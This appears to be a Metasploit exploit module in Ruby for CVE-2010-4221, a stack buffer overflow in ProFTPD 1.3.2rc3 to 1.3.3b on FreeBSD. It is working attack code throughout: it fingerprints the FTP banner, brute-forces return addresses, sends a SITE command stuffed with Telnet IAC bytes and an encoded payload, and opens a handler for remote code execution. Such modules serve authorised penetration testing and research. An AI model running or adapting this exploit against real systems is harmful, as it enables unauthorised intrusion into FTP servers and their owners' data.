211 lines
5.0 KiB
Ruby
211 lines
5.0 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = GreatRanking
|
|
|
|
include Msf::Exploit::Remote::Ftp
|
|
include Msf::Exploit::Brute
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)',
|
|
'Description' => %q{
|
|
This module exploits a stack-based buffer overflow in versions of ProFTPD
|
|
server between versions 1.3.2rc3 and 1.3.3b. By sending data containing a
|
|
large number of Telnet IAC commands, an attacker can corrupt memory and
|
|
execute arbitrary code.
|
|
},
|
|
'Author' => [ 'jduck' ],
|
|
'References' =>
|
|
[
|
|
['CVE', '2010-4221'],
|
|
['OSVDB', '68985'],
|
|
['BID', '44562']
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'process',
|
|
'PrependChrootBreak' => true
|
|
},
|
|
'Privileged' => true,
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1024,
|
|
# NOTE: \xff's need to be doubled (per ftp/telnet stuff)
|
|
'BadChars' => "\x00\x0a\x0d",
|
|
'PrependEncoder' => "\x83\xec\x7f", # sub esp,0x7f (fix esp)
|
|
},
|
|
'Platform' => [ 'bsd' ],
|
|
'Targets' =>
|
|
[
|
|
#
|
|
# Automatic targeting via fingerprinting
|
|
#
|
|
[ 'Automatic Targeting', { 'auto' => true } ],
|
|
|
|
#
|
|
# This special one comes first since we dont want its index changing.
|
|
#
|
|
[ 'Debug',
|
|
{
|
|
'IACCount' => 8192, # should cause crash writing off end of stack
|
|
'Offset' => 0,
|
|
'Ret' => 0x41414242,
|
|
'Writable' => 0x43434545
|
|
}
|
|
],
|
|
|
|
#
|
|
# specific targets
|
|
#
|
|
[ 'ProFTPD 1.3.2a Server (FreeBSD 8.0)',
|
|
{
|
|
'IACCount' => 1024,
|
|
'Offset' => 0x414,
|
|
#'Ret' => 0xbfbfeac4,
|
|
'Writable' => 0x80e64a4,
|
|
'Bruteforce' =>
|
|
{
|
|
'Start' => { 'Ret' => 0xbfbffdfc },
|
|
'Stop' => { 'Ret' => 0xbfa00000 },
|
|
'Step' => 512
|
|
}
|
|
}
|
|
],
|
|
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Nov 1 2010'))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(21),
|
|
], self.class )
|
|
end
|
|
|
|
|
|
def check
|
|
# NOTE: We don't care if the login failed here...
|
|
ret = connect
|
|
|
|
# We just want the banner to check against our targets..
|
|
print_status("FTP Banner: #{banner.strip}")
|
|
|
|
status = CheckCode::Safe
|
|
if banner =~ /ProFTPD (1\.3\.[23][^ ])/i
|
|
ver = $1
|
|
maj,min,rel = ver.split('.')
|
|
relv = rel.slice!(0,1)
|
|
case relv
|
|
when '2'
|
|
if rel.length > 0
|
|
if rel[0,2] == 'rc'
|
|
if rel[2,rel.length].to_i >= 3
|
|
status = CheckCode::Vulnerable
|
|
end
|
|
else
|
|
status = CheckCode::Vulnerable
|
|
end
|
|
end
|
|
when '3'
|
|
# 1.3.3+ defaults to vulnerable (until >= 1.3.3c)
|
|
status = CheckCode::Vulnerable
|
|
if rel.length > 0
|
|
if rel[0,2] != 'rc' and rel[0,1] > 'b'
|
|
status = CheckCode::Safe
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
disconnect
|
|
return status
|
|
end
|
|
|
|
def target
|
|
return @mytarget if @mytarget
|
|
super
|
|
end
|
|
|
|
def exploit
|
|
connect
|
|
|
|
# Use a copy of the target
|
|
@mytarget = target
|
|
|
|
if (target['auto'])
|
|
@mytarget = nil
|
|
|
|
print_status("Automatically detecting the target...")
|
|
if (banner and (m = banner.match(/ProFTPD (1\.3\.[23][^ ]) Server/i))) then
|
|
print_status("FTP Banner: #{banner.strip}")
|
|
version = m[1]
|
|
else
|
|
fail_with(Failure::NoTarget, "No matching target")
|
|
end
|
|
|
|
regexp = Regexp.escape(version)
|
|
self.targets.each do |t|
|
|
if (t.name =~ /#{regexp}/) then
|
|
@mytarget = t
|
|
break
|
|
end
|
|
end
|
|
|
|
if (not @mytarget)
|
|
fail_with(Failure::NoTarget, "No matching target")
|
|
end
|
|
|
|
print_status("Selected Target: #{@mytarget.name}")
|
|
|
|
pl = exploit_regenerate_payload(@mytarget.platform, arch)
|
|
if not pl
|
|
fail_with(Failure::Unknown, 'Unable to regenerate payload!')
|
|
end
|
|
else
|
|
print_status("Trying target #{@mytarget.name}...")
|
|
if banner
|
|
print_status("FTP Banner: #{banner.strip}")
|
|
end
|
|
|
|
pl = payload
|
|
end
|
|
disconnect
|
|
|
|
super
|
|
end
|
|
|
|
def brute_exploit(addrs)
|
|
@mytarget ||= target
|
|
|
|
ret = addrs['Ret']
|
|
print_status("Trying return address 0x%.8x..." % ret)
|
|
|
|
#puts "attach and press any key"; bleh = $stdin.gets
|
|
|
|
buf = ''
|
|
buf << 'SITE '
|
|
# NOTE: buf must be odd-lengthed prior to here.
|
|
buf << "\xff" * @mytarget['IACCount']
|
|
buf << rand_text_alphanumeric(@mytarget['Offset'] - buf.length)
|
|
buf << [
|
|
ret,
|
|
@mytarget['Writable']
|
|
].pack('V*')
|
|
buf << payload.encoded
|
|
buf << "\r\n"
|
|
|
|
connect
|
|
sock.put(buf)
|
|
disconnect
|
|
|
|
handler
|
|
end
|
|
|
|
end
|